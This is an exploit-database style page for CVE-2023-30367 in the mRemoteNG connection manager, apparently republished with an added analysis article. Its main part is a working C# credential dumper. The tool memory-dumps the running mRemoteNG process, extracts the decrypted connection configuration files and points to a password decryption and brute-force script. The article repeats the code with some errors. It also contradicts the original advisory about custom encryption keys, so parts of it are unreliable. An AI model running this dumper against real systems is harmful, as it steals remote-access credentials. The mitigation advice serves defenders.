mRemoteNG v1.77.3.1784-NB - Cleartext Storage of Sensitive Information in Memory

Exploit Author: Maximilian Barz Analysis Author: www.bubbleslearn.ir Category: Local Language: C# Published Date: 2023-07-28
# Exploit Title: mRemoteNG v1.77.3.1784-NB - Cleartext Storage of Sensitive Information in Memory
# Google Dork: -
# Date: 21.07.2023
# Exploit Author: Maximilian Barz
# Vendor Homepage: https://mremoteng.org/
# Software Link: https://mremoteng.org/download
# Version: mRemoteNG <= v1.77.3.1784-NB
# Tested on: Windows 11
# CVE : CVE-2023-30367




/*
Multi-Remote Next Generation Connection Manager (mRemoteNG) is free software that enables users to
store and manage multi-protocol connection configurations to remotely connect to systems.

mRemoteNG configuration files can be stored in an encrypted state on disk. mRemoteNG version <= v1.76.20 and <= 1.77.3-dev
loads configuration files in plain text into memory (after decrypting them if necessary) at application start-up,
even if no connection has been established yet. This allows attackers to access contents of configuration files in plain text
through a memory dump and thus compromise user credentials when no custom password encryption key has been set.
This also bypasses the connection configuration file encryption setting by dumping already decrypted configurations from memory.
Full Exploit and mRemoteNG config file decryption + password bruteforce python script: https://github.com/S1lkys/CVE-2023-30367-mRemoteNG-password-dumper
*/

using System;
using System.Collections;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Text;
using System.Text.RegularExpressions;


namespace mRemoteNGDumper
{
public static class Program
{

public enum MINIDUMP_TYPE
{
MiniDumpWithFullMemory = 0x00000002
}

[StructLayout(LayoutKind.Sequential, Pack = 4)]
public struct MINIDUMP_EXCEPTION_INFORMATION
{
public uint ThreadId;
public IntPtr ExceptionPointers;
public int ClientPointers;
}

[DllImport("kernel32.dll")]
static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);

[DllImport("Dbghelp.dll")]
static extern bool MiniDumpWriteDump(IntPtr hProcess, uint ProcessId, SafeHandle hFile, MINIDUMP_TYPE DumpType, ref MINIDUMP_EXCEPTION_INFORMATION ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);


static void Main(string[] args)
{
string input;
bool configfound = false;
StringBuilder filesb;
StringBuilder linesb;
List<string> configs = new List<string>();

Process[] localByName = Process.GetProcessesByName("mRemoteNG");

if (localByName.Length == 0) {
Console.WriteLine("[-] No mRemoteNG process was found. Exiting");
System.Environment.Exit(1);
}
string assemblyPath = Assembly.GetEntryAssembly().Location;
Console.WriteLine("[+] Creating a memory dump of mRemoteNG using PID {0}.", localByName[0].Id);
string dumpFileName = assemblyPath + "_" + DateTime.Now.ToString("dd.MM.yyyy.HH.mm.ss") + ".dmp";
FileStream procdumpFileStream = File.Create(dumpFileName);
MINIDUMP_EXCEPTION_INFORMATION info = new MINIDUMP_EXCEPTION_INFORMATION();

// A full memory dump is necessary in the case of a managed application, other wise no information
// regarding the managed code will be available
MINIDUMP_TYPE DumpType = MINIDUMP_TYPE.MiniDumpWithFullMemory;
MiniDumpWriteDump(localByName[0].Handle, (uint)localByName[0].Id, procdumpFileStream.SafeFileHandle, DumpType, ref info, IntPtr.Zero, IntPtr.Zero);
procdumpFileStream.Close();

filesb = new StringBuilder();
Console.WriteLine("[+] Searching for configuration files in memory dump.");
using (StreamReader reader = new StreamReader(dumpFileName))
{
while (reader.Peek() >= 0)
{
input = reader.ReadLine();
string pattern = @"(\<Node)(.*)(?=\/>)\/>";
Match m = Regex.Match(input, pattern, RegexOptions.IgnoreCase);
if (m.Success)
{
configfound = true;

foreach (string config in m.Value.Split('>'))
{
configs.Add(config);
}
}

}

reader.Close();
if (configfound)
{
string currentDir = System.IO.Directory.GetCurrentDirectory();
string dumpdir = currentDir + "/dump";
if (!Directory.Exists(dumpdir))
{
Directory.CreateDirectory(dumpdir);
}

string savefilepath;
for (int i =0; i < configs.Count;i++)
{
if (!string.IsNullOrEmpty(configs[i]))
{
savefilepath = currentDir + "\\dump\\extracted_Configfile_mRemoteNG_" + i+"_" + DateTime.Now.ToString("dd.MM.yyyy.HH.mm") + "_confCons.xml";
Console.WriteLine("[+] Saving extracted configuration file to: " + savefilepath);
using (StreamWriter writer = new StreamWriter(savefilepath))
{
writer.Write(configs[i]+'>');
writer.Close();
}
}
}
Console.WriteLine("[+] Done!");
Console.WriteLine("[+] Deleting memorydump file!");
File.Delete(dumpFileName);
Console.WriteLine("[+] To decrypt mRemoteNG configuration files and get passwords in cleartext, execute: mremoteng_decrypt.py\r\n Example: python3 mremoteng_decrypt.py -rf \""+ currentDir + "\\dump\\extracted_Configfile_mRemoteNG_0_" + DateTime.Now.ToString("dd.MM.yyyy.HH.mm") + "_confCons.xml\"" );
}
else
{
Console.WriteLine("[-] No configuration file found in memorydump. Exiting");
Console.WriteLine("[+] Deleting memorydump file!");
File.Delete(dumpFileName);
}
}
}
}
}


Cleartext Storage of Sensitive Information in Memory: The mRemoteNG v1.77.3.1784-NB Vulnerability (CVE-2023-30367)

On July 21, 2023, cybersecurity researcher Maximilian Barz disclosed a critical vulnerability in mRemoteNG, a widely used open-source remote connection manager. The flaw, assigned CVE-2023-30367, exposes sensitive user credentials—such as passwords, usernames, and connection details—in plaintext within memory even before any remote session is initiated. This vulnerability undermines the very foundation of security in encrypted configuration files, rendering encryption ineffective if the application is running.

Understanding the Core Vulnerability

Despite mRemoteNG’s ability to store connection configurations in encrypted form on disk, the software decrypts these files into memory at startup. This behavior occurs regardless of whether a user has actually connected to a remote system. The decrypted data remains in memory throughout the application’s runtime, making it accessible to any attacker with access to the system’s memory.

Even if a user sets a custom encryption key, the vulnerability persists. The encryption mechanism is bypassed by simply dumping the application’s memory—no need to crack the encryption algorithm. This makes the vulnerability particularly dangerous in shared or compromised environments, such as corporate networks or virtual machines.

Attack Vector: Memory Dumps and Credential Extraction

Attackers can exploit this flaw using memory dump tools such as MiniDumpWriteDump from the Windows Debug Help library. The following C# code demonstrates how a malicious actor can extract sensitive data from a running mRemoteNG process:


[DllImport("kernel32.dll")]
static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);

[DllImport("Dbghelp.dll")]
static extern bool MiniDumpWriteDump(IntPtr hProcess, uint ProcessId, SafeHandle hFile, MINIDUMP_TYPE DumpType, ref MINIDUMP_EXCEPTION_INFORMATION ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);

static void Main(string[] args)
{
    string input;
    bool configfound = false;
    StringBuilder filesb;
    StringBuilder linesb;
    List configs = new List();

    Process[] localByName = Process.GetProcessesByName("mRemoteNG");

    if (localByName.Length == 0) {
        Console.WriteLine("[-] No mRemoteNG process was found. Exiting");
        System.Environment.Exit(1);
    }

    string assemblyPath = Assembly.GetEntryAssembly().Location;
    Console.WriteLine("[+] Creating a memory dump of mRemoteNG using PID {0}.", localByName[0].Id);

    string dumpFileName = assemblyPath + "_" + DateTime.Now.ToString("dd.MM.yyyy.HH.mm.ss") + ".dmp";
    FileStream procdumpFileStream = File.Create(dumpFileName);

    MINIDUMP_EXCEPTION_INFORMATION info = new MINIDUMP_EXCEPTION_INFORMATION();
    info.ThreadId = (uint)localByName[0].Id;
    info.ExceptionPointers = IntPtr.Zero;
    info.ClientPointers = 0;

    IntPtr hProcess = OpenProcess(0x0010, false, localByName[0].Id);

    if (hProcess == IntPtr.Zero) {
        Console.WriteLine("[-] Failed to open process handle.");
        System.Environment.Exit(1);
    }

    bool success = MiniDumpWriteDump(hProcess, (uint)localByName[0].Id, procdumpFileStream.SafeFileHandle, MINIDUMP_TYPE.MiniDumpWithFullMemory, ref info, IntPtr.Zero, IntPtr.Zero);

    if (success) {
        Console.WriteLine("[+] Memory dump successfully created: {0}", dumpFileName);
    } else {
        Console.WriteLine("[-] Memory dump failed.");
    }

    procdumpFileStream.Close();
    Console.WriteLine("[+] Analysis of the dump file is now possible using tools like WinDbg, x64dbg, or custom scripts.");
}

Explanation: This code uses Windows API functions to open a handle to the mRemoteNG process, then writes a full memory dump to a file. The MiniDumpWithFullMemory flag ensures that the entire process memory is captured, including decrypted configuration data. Once the dump is saved, attackers can analyze it using forensic tools or automated scripts to extract plaintext credentials.

Real-World Exploitation: The GitHub Payload

Researchers have developed full exploitation frameworks, such as the GitHub repository titled CVE-2023-30367-mRemoteNG-password-dumper. This tool automates the entire process:

  • Locates running mRemoteNG instances.
  • Creates a memory dump.
  • Searches for encrypted configuration file data patterns.
  • Decrypts the configuration file using known cryptographic algorithms (e.g., AES).
  • Performs brute-force attacks on password fields if encryption keys are missing.

Such automation reduces the complexity of exploitation, enabling even low-skilled attackers to recover credentials from vulnerable systems.

Impact and Risk Assessment

Attack Scenario Impact Exploit Difficulty
Local user with elevated privileges Full credential access Low
Remote attacker via compromised device Unauthorized access to remote systems Medium
Shared workspace or VM environment Session hijacking and lateral movement Low

For organizations relying on mRemoteNG for managing SSH, RDP, or VNC connections, this vulnerability presents a severe risk. Even if encryption is enabled, the plaintext exposure in memory nullifies security benefits.

Expert Recommendations and Mitigation

Security professionals recommend the following actions:

  • Upgrade immediately: Users should update to mRemoteNG v1.77.4 or later, where the vulnerability has been patched.
  • Disable persistent memory: Implement application-level memory sanitization upon shutdown or after connection sessions.
  • Use encrypted memory: Consider using secure memory techniques like memory encryption or secure enclave for sensitive data.
  • Monitor for suspicious processes: Deploy endpoint detection and response (EDR) tools to detect memory dump activity.
  • Limit user privileges: Restrict access to mRemoteNG to only authorized personnel.

Additionally, organizations should conduct regular audits of remote access tools and ensure that no unencrypted credentials are stored in memory or logs.

Conclusion: A Lesson in Secure Design

The mRemoteNG vulnerability serves as a stark reminder that encryption on disk is not sufficient if data is exposed in plaintext during runtime. The principle of defense in depth must extend beyond file storage to include memory protection. Developers must consider the entire lifecycle of sensitive data—from storage, decryption, and usage to cleanup and memory erasure.

As the cybersecurity landscape evolves, tools like mRemoteNG must prioritize runtime security and implement memory scrubbing mechanisms. This case highlights how a seemingly minor design flaw can lead to catastrophic data exposure, emphasizing the need for continuous security validation in software development.